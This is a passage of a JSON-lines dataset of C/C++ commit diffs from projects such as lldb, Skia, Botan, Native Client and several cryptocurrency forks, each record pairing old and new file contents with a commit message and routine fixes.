4ff67af0-8c30-449e-8e8b-ad334ec8d88c\n","lang":"C","license":"bsd-3-clause","repos":"wistoch\/meego-app-browser,wistoch\/meego-app-browser,wistoch\/meego-app-browser,wistoch\/meego-app-browser,wistoch\/meego-app-browser,wistoch\/meego-app-browser,wistoch\/meego-app-browser,wistoch\/meego-app-browser,wistoch\/meego-app-browser,wistoch\/meego-app-browser"}
{"commit":"c22a72ef4865dea9581a39c3d48dc638fe6f894a","old_file":"test\/python_api\/hello_world\/main.c","new_file":"test\/python_api\/hello_world\/main.c","old_contents":"#include <stdio.h>\n\nint main(int argc, char const *argv[]) {\n    printf(\"Hello world.\\n\"); \/\/ Set break point at this line.\n    if (argc == 1)\n        return 0;\n\n    \/\/ Waiting to be attached by the debugger, otherwise.\n    char line[100];\n    while (fgets(line, sizeof(line), stdin)) { \/\/ Waiting to be attached...\n        printf(\"input line=>%s\\n\", line);\n    }\n\n    printf(\"Exiting now\\n\");\n}\n","new_contents":"#include <stdio.h>\n\n#if defined(__linux__)\n#include <sys\/prctl.h>\n#endif\n\nint main(int argc, char const *argv[]) {\n\n#if defined(__linux__)\n    \/\/ Immediately enable any ptracer so that we can allow the stub attach\n    \/\/ operation to succeed.  Some Linux kernels are locked down so that\n    \/\/ only an ancestor process can be a ptracer of a process.  This disables that\n    \/\/ restriction.  Without it, attach-related stub tests will fail.\n#if defined(PR_SET_PTRACER) && defined(PR_SET_PTRACER_ANY)\n    int prctl_result;\n\n    \/\/ For now we execute on best effort basis.  If this fails for\n    \/\/ some reason, so be it.\n    prctl_result = prctl(PR_SET_PTRACER, PR_SET_PTRACER_ANY, 0, 0, 0);\n    (void) prctl_result;\n#endif\n#endif\n\n    printf(\"Hello world.\\n\"); \/\/ Set break point at this line.\n    if (argc == 1)\n        return 0;\n\n    \/\/ Waiting to be attached by the debugger, otherwise.\n    char line[100];\n    while (fgets(line, sizeof(line), stdin)) { \/\/ Waiting to be attached...\n        printf(\"input line=>%s\\n\", line);\n    }\n\n    printf(\"Exiting now\\n\");\n}\n","subject":"Fix HelloWorld attach test for Linux kernels with ptrace ancestor lockdown.","message":"Fix HelloWorld attach test for Linux kernels with ptrace ancestor lockdown.\n\nSimilar to a recent test I fixed for gdb-remote attach scenarios, this\nfix is for Linux kernels, such as Ubuntu's stock setup on 11.04-ish and\nlater, where ptrace starts requiring a ptracer to be an ancestor of the\ninferior to be ptraced.  This change checks for Linux and the ptrace-related\nflags.  If they're found, it tries to switch on the \"allow any ptracer\" mode\nfor the inferior as the first statements in the program.  It's a best-effort\nsolution - if the prctl call fails, the failure is ignored, and probably will\nlead to the test failing.\n\nThe ptrace security behavior can be modified system-wide, but is outside the\nscope of the test to address.  Hence I went with this particular solution.\n\n\ngit-svn-id: 4c4cc70b1ef44ba2b7963015e681894188cea27e@220650 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-lldb,llvm-mirror\/lldb,llvm-mirror\/lldb,apple\/swift-lldb,apple\/swift-lldb,apple\/swift-lldb,apple\/swift-lldb,llvm-mirror\/lldb,llvm-mirror\/lldb,llvm-mirror\/lldb,apple\/swift-lldb"}
{"commit":"79be1938ba7f1d22397d24a58c4a39fe5ad13c41","old_file":"modules\/modinclude.h","new_file":"modules\/modinclude.h","old_contents":"#ifndef MODINCLUDE_H\n#define MODINCLUDE_H\n#include \"..\/main.h\"\n\nclass ConfigReader;\nclass ModuleInterface; \/\/ forward-declare so it can be used in modules and server\n#include \"..\/connection.h\" \/\/ declare other classes that use it\n#include \"..\/modules.h\"\n#include \"..\/config.h\"\n#include \"..\/modules.h\"\n#endif\n","new_contents":"#ifndef MODINCLUDE_H\n#define MODINCLUDE_H\n#include \"..\/main.h\"\n\nclass ConfigReader;\nclass ModuleInterface; \/\/ forward-declare so it can be used in modules and server\n#include \"..\/connection.h\" \/\/ declare other classes that use it\n#include \"..\/modules.h\"\n#include \"..\/config.h\"\n#endif\n","subject":"Remove double include of a file","message":"Remove double include of a file\n","lang":"C","license":"mit","repos":"ElementalAlchemist\/RoBoBo,ElementalAlchemist\/RoBoBo"}
{"commit":"c269fb2bc1bb58f91145303a4ce3a24957085b4b","old_file":"lb_vector.c","new_file":"lb_vector.c","old_contents":"#include \"lb_vector.h\"\n\nVector lb_create_vector(Scalar* data, unsigned int length) {\n\tVector v;\n\tv.data = data;\n\tv.length = length;\n\treturn v;\n}\n\nVector lb_allocate_vector(unsigned int length) {\n\tScalar* ptr = (Scalar*)malloc(sizeof(Scalar) * length);\n\treturn lb_create_vector(ptr, length);\n}\n\n\/\/ Result = Vector dot Vector\nvoid lbdp(Vector a, Vector b, Scalar* result) {\n\t*result = 0.0;\n\tint i;\n\tfor(i = 0; i < a.length; i++) *result += a.data[i] * b.data[i];\n}\n\n\/\/ Result = Scalar * Vector\nvoid lbstv(Scalar s, Vector v, Vector result) {\n\tint i;\n\tfor(i = 0; i < v.length; i++) result.data[i] = s * v.data[i];\n}\n","new_contents":"#include <stdlib.h>\n#include \"lb_vector.h\"\n\nVector lb_create_vector(Scalar* data, unsigned int length) {\n\tVector v;\n\tv.data = data;\n\tv.length = length;\n\treturn v;\n}\n\nVector lb_allocate_vector(unsigned int length) {\n\tScalar* ptr = (Scalar*)malloc(sizeof(Scalar) * length);\n\treturn lb_create_vector(ptr, length);\n}\n\n\/\/ Result = Vector dot Vector\nvoid lbdp(Vector a, Vector b, Scalar* result) {\n\t*result = 0.0;\n\tint i;\n\tfor(i = 0; i < a.length; i++) *result += a.data[i] * b.data[i];\n}\n\n\/\/ Result = Scalar * Vector\nvoid lbstv(Scalar s, Vector v, Vector result) {\n\tint i;\n\tfor(i = 0; i < v.length; i++) result.data[i] = s * v.data[i];\n}\n","subject":"Include stdlib.h for malloc not to bail","message":"Include stdlib.h for malloc not to bail\n","lang":"C","license":"apache-2.0","repos":"frenchrd\/laid-back-lapack,frenchrd\/laid-back-lapack"}
{"commit":"01815d76afedad438c36cd3c8d2132e36ec02715","old_file":"include\/core\/SkMilestone.h","new_file":"include\/core\/SkMilestone.h","old_contents":"\/*\n * Copyright 2016 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n#ifndef SK_MILESTONE\n#define SK_MILESTONE 71\n#endif\n","new_contents":"\/*\n * Copyright 2016 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n#ifndef SK_MILESTONE\n#define SK_MILESTONE 72\n#endif\n","subject":"Update Skia milestone to 72","message":"Update Skia milestone to 72\n\nNo API changes\nTBR=reed\nNOTRY=TRUE\n\nBug: skia:\nChange-Id: I1ffde14bc6ebf0cf3d89735f70fb9a385b35d167\nReviewed-on: https:\/\/skia-review.googlesource.com\/c\/161940\nCommit-Queue: Heather Miller <2e22000c5d22374561fe5fba576a31095b72dc2e@google.com>\nReviewed-by: Heather Miller <2e22000c5d22374561fe5fba576a31095b72dc2e@google.com>\n","lang":"C","license":"bsd-3-clause","repos":"Hikari-no-Tenshi\/android_external_skia,HalCanary\/skia-hc,rubenvb\/skia,Hikari-no-Tenshi\/android_external_skia,rubenvb\/skia,aosp-mirror\/platform_external_skia,rubenvb\/skia,HalCanary\/skia-hc,Hikari-no-Tenshi\/android_external_skia,google\/skia,HalCanary\/skia-hc,aosp-mirror\/platform_external_skia,Hikari-no-Tenshi\/android_external_skia,HalCanary\/skia-hc,aosp-mirror\/platform_external_skia,rubenvb\/skia,HalCanary\/skia-hc,HalCanary\/skia-hc,aosp-mirror\/platform_external_skia,Hikari-no-Tenshi\/android_external_skia,rubenvb\/skia,rubenvb\/skia,aosp-mirror\/platform_external_skia,google\/skia,Hikari-no-Tenshi\/android_external_skia,HalCanary\/skia-hc,aosp-mirror\/platform_external_skia,google\/skia,HalCanary\/skia-hc,google\/skia,google\/skia,google\/skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,google\/skia,rubenvb\/skia,google\/skia,HalCanary\/skia-hc,aosp-mirror\/platform_external_skia,Hikari-no-Tenshi\/android_external_skia,HalCanary\/skia-hc,Hikari-no-Tenshi\/android_external_skia,rubenvb\/skia,aosp-mirror\/platform_external_skia,google\/skia,rubenvb\/skia,rubenvb\/skia,google\/skia"}
{"commit":"75091bfd2394b33a259bc9ea9b48807f964a3af4","old_file":"src\/android\/AndroidConfigurationEvent.h","new_file":"src\/android\/AndroidConfigurationEvent.h","old_contents":"#ifndef _ANDROIDCONFIGURATIONEVENT_H_\n#define _ANDROIDCONFIGURATIONEVENT_H_\n\n#include <ConfigurationEvent.h>\n#include <android\/native_window.h>\n\nclass AndroidConfigurationEvent : public ConfigurationEvent {\npublic:\n AndroidConfigurationEvent(double _timestamp, ANativeWindow * _window)\n   : ConfigurationEvent(_timestamp), window(_window) { }\n\n  ANativeWindow * getWindow() { return window; }\n  std::shared_ptr<EventBase> dup() const { return NULL; }\n  void dispatch(Element & element);\n  \n private:\n  ANativeWindow * window = 0;\n};\n\n#endif\n","new_contents":"#ifndef _ANDROIDCONFIGURATIONEVENT_H_\n#define _ANDROIDCONFIGURATIONEVENT_H_\n\n#include <ConfigurationEvent.h>\n#include <android\/native_window.h>\n\nclass AndroidConfigurationEvent : public ConfigurationEvent {\npublic:\n AndroidConfigurationEvent(double _timestamp, ANativeWindow * _window)\n   : ConfigurationEvent(_timestamp), window(_window) { }\n\n  ANativeWindow * getWindow() { return window; }\n  std::shared_ptr<EventBase> dup() const { return  std::make_shared<AndroidConfigurationEvent>(*this); }\n  void dispatch(Element & element);\n  \n private:\n  ANativeWindow * window = 0;\n};\n\n#endif\n","subject":"Fix AConfigurationEvent dup() return value","message":"Fix AConfigurationEvent dup() return value","lang":"C","license":"mit","repos":"Sometrik\/framework,Sometrik\/framework,Sometrik\/framework"}
{"commit":"3b8868dca49ba4e317d562279d2128ed8fff9a81","old_file":"src\/qt\/bitcoinaddressvalidator.h","new_file":"src\/qt\/bitcoinaddressvalidator.h","old_contents":"#ifndef BITCOINADDRESSVALIDATOR_H\n#define BITCOINADDRESSVALIDATOR_H\n\n#include <QValidator>\n\n\/** Base48 entry widget validator.\n   Corrects near-miss characters and refuses characters that are no part of base48.\n *\/\nclass BitcoinAddressValidator : public QValidator\n{\n    Q_OBJECT\n\npublic:\n    explicit BitcoinAddressValidator(QObject *parent = 0);\n\n    State validate(QString &input, int &pos) const;\n\n    static const int MaxAddressLength = 35;\n};\n\n#endif \/\/ BITCOINADDRESSVALIDATOR_H\n","new_contents":"#ifndef BITCOINADDRESSVALIDATOR_H\n#define BITCOINADDRESSVALIDATOR_H\n\n#include <QValidator>\n\n\/** Base58 entry widget validator.\n   Corrects near-miss characters and refuses characters that are not part of base58.\n *\/\nclass BitcoinAddressValidator : public QValidator\n{\n    Q_OBJECT\n\npublic:\n    explicit BitcoinAddressValidator(QObject *parent = 0);\n\n    State validate(QString &input, int &pos) const;\n\n    static const int MaxAddressLength = 35;\n};\n\n#endif \/\/ BITCOINADDRESSVALIDATOR_H\n","subject":"Fix typo in a comment: it's base58, not base48.","message":"Fix typo in a comment: it's base58, not base48.\n","lang":"C","license":"mit","repos":"Climbee\/artcoin,madman5844\/poundkoin,renatolage\/wallets-BRCoin,madman5844\/poundkoin,kevin-cantwell\/crunchcoin,goldmidas\/goldmidas,vbernabe\/freicoin,BenjaminsCrypto\/Benjamins-1,DigitalPandacoin\/pandacoin,Climbee\/artcoin,kevin-cantwell\/crunchcoin,dobbscoin\/dobbscoin-source,therealaltcoin\/altcoin,tripmode\/pxlcoin,goldmidas\/goldmidas,keisercoin-official\/keisercoin,MitchellMintCoins\/AutoCoin,metrocoins\/metrocoin,mammix2\/ccoin-dev,compasscoin\/compasscoin,keisercoin-official\/keisercoin,applecoin-official\/fellatio,applecoin-official\/applecoin,raasakh\/bardcoin,peercoin\/peercoin,raasakh\/bardcoin.exe,raasakh\/bardcoin,barcoin-project\/nothingcoin,osuyuushi\/laughingmancoin,Carrsy\/PoundCoin,Earlz\/dobbscoin-source,MitchellMintCoins\/AutoCoin,dobbscoin\/dobbscoin-source,glv2\/peerunity,Carrsy\/PoundCoin,raasakh\/bardcoin,cryptohelper\/premine,jimblasko\/2015_UNB_Wallets,MitchellMintCoins\/MortgageCoin,Dinarcoin\/dinarcoin,jimblasko\/2015_UNB_Wallets,CarpeDiemCoin\/CarpeDiemLaunch,DigitalPandacoin\/pandacoin,metrocoins\/metrocoin,peercoin\/peercoin,madman5844\/poundkoin,raasakh\/bardcoin.exe,peacedevelop\/peacecoin,hg5fm\/nexuscoin,raasakh\/bardcoin,DigitalPandacoin\/pandacoin,MitchellMintCoins\/AutoCoin,brettwittam\/geocoin,CarpeDiemCoin\/CarpeDiemLaunch,goldmidas\/goldmidas,cainca\/liliucoin,SocialCryptoCoin\/SocialCoin,mammix2\/ccoin-dev,peercoin\/peercoin,ppcoin\/ppcoin,starwalkerz\/fincoin-fork,therealaltcoin\/altcoin,brettwittam\/geocoin,totallylegitbiz\/totallylegitcoin,Climbee\/artcoin,metrocoins\/metrocoin,CarpeDiemCoin\/CarpeDiemLaunch,renatolage\/wallets-BRCoin,zestcoin\/ZESTCOIN,DigitalPandacoin\/pandacoin,cainca\/liliucoin,renatolage\/wallets-BRCoin,jimblasko\/2015_UNB_Wallets,therealaltcoin\/altcoin,5mil\/Tradecoin,compasscoin\/compasscoin,Adaryian\/E-Currency,OfficialTitcoin\/titcoin-wallet,Adaryian\/E-Currency,raasakh\/bardcoin,tripmode\/pxlcoin,bitpagar\/bitpagar,howardrya\/AcademicCoin,Dinarcoin\/dinarcoin,applecoin-official\/fellatio,borgcoin\/Borgcoin1,pdrobek\/Polcoin-1-3,brettwittam\/geocoin,WorldLeadCurrency\/WLC,gjhiggins\/fuguecoin,webdesignll\/coin,cryptohelper\/premine,webdesignll\/coin,totallylegitbiz\/totallylegitcoin,metrocoins\/metrocoin,CarpeDiemCoin\/CarpeDiemLaunch,peerdb\/cors,borgcoin\/Borgcoin1,ppcoin\/ppcoin,vbernabe\/freicoin,Enticed87\/Decipher,borgcoin\/Borgcoin.rar,zestcoin\/ZESTCOIN,peerdb\/cors,Earlz\/dobbscoin-source,raasakh\/bardcoin.exe,borgcoin\/Borgcoin1,osuyuushi\/laughingmancoin,Adaryian\/E-Currency,vbernabe\/freicoin,howardrya\/AcademicCoin,applecoin-official\/applecoin,Earlz\/dobbscoin-source,glv2\/peerunity,WorldLeadCurrency\/WLC,zestcoin\/ZESTCOIN,madman5844\/poundkoin,borgcoin\/Borgcoin.rar,gjhiggins\/fuguecoin,hg5fm\/nexuscoin,jimblasko\/2015_UNB_Wallets,qubitcoin-project\/QubitCoinQ2C,howardrya\/AcademicCoin,barcoin-project\/nothingcoin,WorldLeadCurrency\/WLC,jimblasko\/UnbreakableCoin-master,Carrsy\/PoundCoin,borgcoin\/Borgcoin.rar,totallylegitbiz\/totallylegitcoin,peerdb\/cors,WorldLeadCurrency\/WLC,applecoin-official\/applecoin,bitpagar\/bitpagar,BenjaminsCrypto\/Benjamins-1,peacedevelop\/peacecoin,dobbscoin\/dobbscoin-source,webdesignll\/coin,osuyuushi\/laughingmancoin,jimblasko\/UnbreakableCoin-master,howardrya\/AcademicCoin,Enticed87\/Decipher,gjhiggins\/fuguecoin,glv2\/peerunity,WorldLeadCurrency\/WLC,Earlz\/dobbscoin-source,OfficialTitcoin\/titcoin-wallet,pdrobek\/Polcoin-1-3,totallylegitbiz\/totallylegitcoin,hg5fm\/nexuscoin,peercoin\/peercoin,webdesignll\/coin,Carrsy\/PoundCoin,goldmidas\/goldmidas,peerdb\/cors,cryptocoins4all\/zcoin,pdrobek\/Polcoin-1-3,applecoin-official\/applecoin,cainca\/liliucoin,ionux\/freicoin,brettwittam\/geocoin,Carrsy\/PoundCoin,cainca\/liliucoin,mammix2\/ccoin-dev,peercoin\/peercoin,keisercoin-official\/keisercoin,pdrobek\/Polcoin-1-3,brettwittam\/geocoin,keisercoin-official\/keisercoin,pdrobek\/Polcoin-1-3,vbernabe\/freicoin,raasakh\/bardcoin.exe,raasakh\/bardcoin,ionux\/freicoin,jimblasko\/UnbreakableCoin-master,SocialCryptoCoin\/SocialCoin,cryptohelper\/premine,peacedevelop\/peacecoin,OfficialTitcoin\/titcoin-wallet,renatolage\/wallets-BRCoin,peacedevelop\/peacecoin,raasakh\/bardcoin.exe,BenjaminsCrypto\/Benjamins-1,barcoin-project\/nothingcoin,DigitalPandacoin\/pandacoin,compasscoin\/compasscoin,applecoin-official\/fellatio,cainca\/liliucoin,jimblasko\/UnbreakableCoin-master,CarpeDiemCoin\/CarpeDiemLaunch,gjhiggins\/fuguecoin,tripmode\/pxlcoin,cryptohelper\/premine,BenjaminsCrypto\/Benjamins-1,Enticed87\/Decipher,5mil\/Tradecoin,osuyuushi\/laughingmancoin,compasscoin\/compasscoin,barcoin-project\/nothingcoin,MitchellMintCoins\/AutoCoin,tripmode\/pxlcoin,zestcoin\/ZESTCOIN,5mil\/Tradecoin,Enticed87\/Decipher,MitchellMintCoins\/MortgageCoin,starwalkerz\/fincoin-fork,MitchellMintCoins\/MortgageCoin,Adaryian\/E-Currency,peerdb\/cors,goldmidas\/goldmidas,applecoin-official\/applecoin,howardrya\/AcademicCoin,ionux\/freicoin,SocialCryptoCoin\/SocialCoin,cryptocoins4all\/zcoin,borgcoin\/Borgcoin.rar,kevin-cantwell\/crunchcoin,borgcoin\/Borgcoin.rar,therealaltcoin\/altcoin,applecoin-official\/fellatio,mammix2\/ccoin-dev,Adaryian\/E-Currency,osuyuushi\/laughingmancoin,renatolage\/wallets-BRCoin,hg5fm\/nexuscoin,MitchellMintCoins\/AutoCoin,therealaltcoin\/altcoin,jimblasko\/2015_UNB_Wallets,Climbee\/artcoin,Earlz\/dobbscoin-source,OfficialTitcoin\/titcoin-wallet,cryptocoins4all\/zcoin,kevin-cantwell\/crunchcoin,Climbee\/artcoin,mammix2\/ccoin-dev,hg5fm\/nexuscoin,starwalkerz\/fincoin-fork,ppcoin\/ppcoin,dobbscoin\/dobbscoin-source,WorldLeadCurrency\/WLC,ionux\/freicoin,bitpagar\/bitpagar,vbernabe\/freicoin,cryptohelper\/premine,MitchellMintCoins\/MortgageCoin,starwalkerz\/fincoin-fork,qubitcoin-project\/QubitCoinQ2C,cryptocoins4all\/zcoin,dobbscoin\/dobbscoin-source,DigitalPandacoin\/pandacoin,Earlz\/dobbscoin-source,webdesignll\/coin,vbernabe\/freicoin,qubitcoin-project\/QubitCoinQ2C,metrocoins\/metrocoin,peerdb\/cors,ppcoin\/ppcoin,ionux\/freicoin,compasscoin\/compasscoin,Dinarcoin\/dinarcoin,SocialCryptoCoin\/SocialCoin,borgcoin\/Borgcoin1,peercoin\/peercoin,qubitcoin-project\/QubitCoinQ2C,gjhiggins\/fuguecoin,zestcoin\/ZESTCOIN,kevin-cantwell\/crunchcoin,bitpagar\/bitpagar,Dinarcoin\/dinarcoin,borgcoin\/Borgcoin1,SocialCryptoCoin\/SocialCoin,keisercoin-official\/keisercoin,5mil\/Tradecoin,Dinarcoin\/dinarcoin,OfficialTitcoin\/titcoin-wallet,cryptocoins4all\/zcoin,jimblasko\/UnbreakableCoin-master,5mil\/Tradecoin,glv2\/peerunity,Enticed87\/Decipher,ionux\/freicoin,peacedevelop\/peacecoin,tripmode\/pxlcoin,applecoin-official\/fellatio,MitchellMintCoins\/MortgageCoin,dobbscoin\/dobbscoin-source,qubitcoin-project\/QubitCoinQ2C,totallylegitbiz\/totallylegitcoin,raasakh\/bardcoin.exe,barcoin-project\/nothingcoin"}
{"commit":"33ea6a02332d0944150e9445a584d6f26718509b","old_file":"src\/untrusted\/irt\/irt_private_pthread.c","new_file":"src\/untrusted\/irt\/irt_private_pthread.c","old_contents":"\/*\n * Copyright (c) 2012 The Native Client Authors. All rights reserved.\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#include <errno.h>\n#include <pthread.h>\n#include <unistd.h>\n\n#include \"native_client\/src\/untrusted\/nacl\/tls.h\"\n\n\/*\n * libstdc++ makes minimal use of pthread_key_t stuff.\n *\/\n\n#undef  PTHREAD_KEYS_MAX\n#define PTHREAD_KEYS_MAX        16\n\n#define NC_TSD_NO_MORE_KEYS     irt_tsd_no_more_keys()\nstatic void irt_tsd_no_more_keys(void) {\n  static const char msg[] = \"IRT: too many pthread keys\\n\";\n  write(2, msg, sizeof msg - 1);\n}\n\n#define NACL_IN_IRT\n\n\/* @IGNORE_LINES_FOR_CODE_HYGIENE[2] *\/\n#include \"native_client\/src\/untrusted\/pthread\/nc_init_private.c\"\n#include \"native_client\/src\/untrusted\/pthread\/nc_thread.c\"\n","new_contents":"\/*\n * Copyright (c) 2012 The Native Client Authors. All rights reserved.\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#include <errno.h>\n#include <pthread.h>\n#include <unistd.h>\n\n#include \"native_client\/src\/untrusted\/nacl\/tls.h\"\n\n\/*\n * libstdc++ makes minimal use of pthread_key_t stuff.\n *\/\n\n#undef  PTHREAD_KEYS_MAX\n#define PTHREAD_KEYS_MAX        32\n\n#define NC_TSD_NO_MORE_KEYS     irt_tsd_no_more_keys()\nstatic void irt_tsd_no_more_keys(void) {\n  static const char msg[] = \"IRT: too many pthread keys\\n\";\n  write(2, msg, sizeof msg - 1);\n}\n\n#define NACL_IN_IRT\n\n\/* @IGNORE_LINES_FOR_CODE_HYGIENE[2] *\/\n#include \"native_client\/src\/untrusted\/pthread\/nc_init_private.c\"\n#include \"native_client\/src\/untrusted\/pthread\/nc_thread.c\"\n","subject":"Increase the number of pthread keys available to the IRT","message":"Increase the number of pthread keys available to the IRT\n\nThe Mojo EDK uses an additional key for thread-local storage\nand is now necessary to bring up IPC in Chrome. This is apparently\nenough to push us over the 16 key limit in some cases.\n\nDoubling to 32 to leave some room for further expansion.\n\nBUG=https:\/\/code.google.com\/p\/chromium\/issues\/detail?id=612500\n\nReview-Url: https:\/\/codereview.chromium.org\/2050043004\n","lang":"C","license":"bsd-3-clause","repos":"sbc100\/native_client,sbc100\/native_client,sbc100\/native_client,sbc100\/native_client,sbc100\/native_client,sbc100\/native_client"}
{"commit":"d849a52cc61e6183554cdbfe49d458e6bcbd79e8","old_file":"ports\/gtk-webkit\/next-gtk-webkit.c","new_file":"ports\/gtk-webkit\/next-gtk-webkit.c","old_contents":"\/*\nCopyright © 2018 Atlas Engineer LLC.\nUse of this file is governed by the license that can be found in LICENSE.\n*\/\n\n#include <gtk\/gtk.h>\n#include \"server.h\"\n\nint main(int argc, char *argv[]) {\n\t\/\/ TODO: Use GtkApplication?\n\tgtk_init(&argc, &argv);\n\n\t\/\/ TODO: Start the xmlrpc server first?  If GUI is started, then we can\n\t\/\/ report xmlrpc startup issue graphically.\n\tstart_server();\n\tstart_client();\n\n\tgtk_main();\n\n\tstop_server();\n\treturn 0;\n}\n","new_contents":"\/*\nCopyright © 2018 Atlas Engineer LLC.\nUse of this file is governed by the license that can be found in LICENSE.\n*\/\n\n#include <gtk\/gtk.h>\n#include <stdlib.h>\n#include \"server.h\"\n\nint main(int argc, char *argv[]) {\n\t\/\/ TODO: Use GtkApplication?\n\tgtk_init(&argc, &argv);\n\n\t\/\/ TODO: Start the xmlrpc server first?  If GUI is started, then we can\n\t\/\/ report xmlrpc startup issue graphically.\n\tstart_server();\n\tstart_client();\n\n\tgtk_main();\n\n\tstop_server();\n\treturn EXIT_SUCCESS;\n}\n","subject":"Use stdlib and return EXIT_SUCCESS","message":"ports\/gtk-webkit: Use stdlib and return EXIT_SUCCESS\n","lang":"C","license":"bsd-3-clause","repos":"jmercouris\/NeXT,jmercouris\/NeXT"}
{"commit":"9a4a639fa3586a5ec10444d0fc26049bd9c3b707","old_file":"src\/lib\/pubkey\/cecpq1\/cecpq1.h","new_file":"src\/lib\/pubkey\/cecpq1\/cecpq1.h","old_contents":"\/*\n* CECPQ1 (x25519 + NewHope)\n* (C) 2016 Jack Lloyd\n*\n* Botan is released under the Simplified BSD License (see license.txt)\n*\/\n\n#ifndef BOTAN_CECPQ1_H__\n#define BOTAN_CECPQ1_H__\n\n#include <botan\/secmem.h>\n#include <botan\/newhope.h>\n\nnamespace Botan {\n\nstruct CECPQ1_key {\n   secure_vector<uint8_t> m_x25519;\n   newhope_poly m_newhope;\n};\n\nvoid BOTAN_DLL CECPQ1_offer(uint8_t* offer_message,\n                            CECPQ1_key* offer_key_output,\n                            RandomNumberGenerator& rng);\n\nvoid BOTAN_DLL CECPQ1_accept(uint8_t* shared_key,\n                             uint8_t* accept_message,\n                             const uint8_t* offer_message,\n                             RandomNumberGenerator& rng);\n\nvoid BOTAN_DLL CECPQ1_finish(uint8_t* shared_key,\n                             const CECPQ1_key& offer_key,\n                             const uint8_t* accept_message);\n\n}\n\n#endif\n","new_contents":"\/*\n* CECPQ1 (x25519 + NewHope)\n* (C) 2016 Jack Lloyd\n*\n* Botan is released under the Simplified BSD License (see license.txt)\n*\/\n\n#ifndef BOTAN_CECPQ1_H__\n#define BOTAN_CECPQ1_H__\n\n#include <botan\/secmem.h>\n#include <botan\/newhope.h>\n\nnamespace Botan {\n\nclass CECPQ1_key\n   {\n   public:\n      secure_vector<uint8_t> m_x25519;\n      newhope_poly m_newhope;\n   };\n\nvoid BOTAN_DLL CECPQ1_offer(uint8_t* offer_message,\n                            CECPQ1_key* offer_key_output,\n                            RandomNumberGenerator& rng);\n\nvoid BOTAN_DLL CECPQ1_accept(uint8_t* shared_key,\n                             uint8_t* accept_message,\n                             const uint8_t* offer_message,\n                             RandomNumberGenerator& rng);\n\nvoid BOTAN_DLL CECPQ1_finish(uint8_t* shared_key,\n                             const CECPQ1_key& offer_key,\n                             const uint8_t* accept_message);\n\n}\n\n#endif\n","subject":"Fix class vs struct declaration.","message":"Fix class vs struct declaration.\n\nRecent Clang complains about forward decl as 'class X' when X was\nactually declared as a struct.\n","lang":"C","license":"bsd-2-clause","repos":"webmaster128\/botan,webmaster128\/botan,randombit\/botan,randombit\/botan,Rohde-Schwarz-Cybersecurity\/botan,randombit\/botan,Rohde-Schwarz-Cybersecurity\/botan,Rohde-Schwarz-Cybersecurity\/botan,randombit\/botan,Rohde-Schwarz-Cybersecurity\/botan,randombit\/botan,webmaster128\/botan,webmaster128\/botan,webmaster128\/botan,Rohde-Schwarz-Cybersecurity\/botan,Rohde-Schwarz-Cybersecurity\/botan"}
{"commit":"406f0cd7f1c4cd3796592305ae9e338d2ea6cdf8","old_file":"testmud\/mud\/home\/Game\/sys\/band.c","new_file":"testmud\/mud\/home\/Game\/sys\/band.c","old_contents":"\/* keeps track of bans *\/\n\nmapping username_bans;\nmapping ip_bans;\n\nstatic void create()\n{\n\tusername_bans = ([ ]);\n}\n\nvoid ban_username(string username)\n{\n\tACCESS_CHECK(GAME());\n\n\tif (username_bans[username]) {\n\t\terror(\"Username already banned\");\n\t}\n\n\tusername_bans[username] = 1;\n}\n\nvoid unban_username(string username)\n{\n\tACCESS_CHECK(GAME());\n\n\tif (!username_bans[username]) {\n\t\terror(\"Username not banned\");\n\t}\n\n\tusername_bans[username] = nil;\n}\n\nint query_is_banned(string username)\n{\n\treturn !!username_bans(username);\n}\n","new_contents":"#include <kotaka\/privilege.h>\n\n\/* keeps track of bans *\/\n\nmapping username_bans;\n\nprivate void save();\nprivate void restore();\n\nstatic void create()\n{\n\tusername_bans = ([ ]);\n\trestore();\n}\n\nvoid ban_username(string username)\n{\n\tACCESS_CHECK(GAME());\n\n\tif (username == \"admin\") {\n\t\terror(\"Cannot ban admin\");\n\t}\n\n\tif (username_bans[username]) {\n\t\terror(\"Username already banned\");\n\t}\n\n\tusername_bans[username] = 1;\n\tsave();\n}\n\nvoid unban_username(string username)\n{\n\tACCESS_CHECK(GAME());\n\n\tif (!username_bans[username]) {\n\t\terror(\"Username not banned\");\n\t}\n\n\tusername_bans[username] = nil;\n\tsave();\n}\n\nint query_is_banned(string username)\n{\n\treturn !!username_bans[username];\n}\n\nprivate void save()\n{\n\tsave_object(\"band.o\");\n}\n\nprivate void restore()\n{\n\trestore_object(\"band.o\");\n}\n","subject":"Allow ban manager to save state","message":"Allow ban manager to save state\n","lang":"C","license":"agpl-3.0","repos":"shentino\/kotaka,shentino\/kotaka,shentino\/kotaka"}
{"commit":"b8f31ace2931a5ba15f10abbba4f819fa207c88b","old_file":"test\/CodeGen\/2007-11-07-ZeroAggregateAlign.c","new_file":"test\/CodeGen\/2007-11-07-ZeroAggregateAlign.c","old_contents":"\/\/ RUN: %clang_cc1 -emit-llvm %s -o - | FileCheck %s\nstruct A { short s; short t; int i; };\n\/\/ CHECK: %a = alloca %struct.A, align 4\n\/\/ CHECK: call void @llvm.memset.p0i8.i64(i8* %tmp, i8 0, i64 8, i32 4, i1 false)\nvoid q() { struct A a = {0}; }\n","new_contents":"\/\/ RUN: %clang_cc1 -emit-llvm %s -o - | FileCheck %s\nstruct A { short s; short t; int i; };\n\/\/ CHECK: %a = alloca %struct.A, align 4\n\/\/ CHECK: call void @llvm.memset.p0i8.i64{{.*}}i32 4, i1 false)\nvoid q() { struct A a = {0}; }\n","subject":"Rework the match here to silence release mode windows buildbots.","message":"Rework the match here to silence release mode windows buildbots.\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@136164 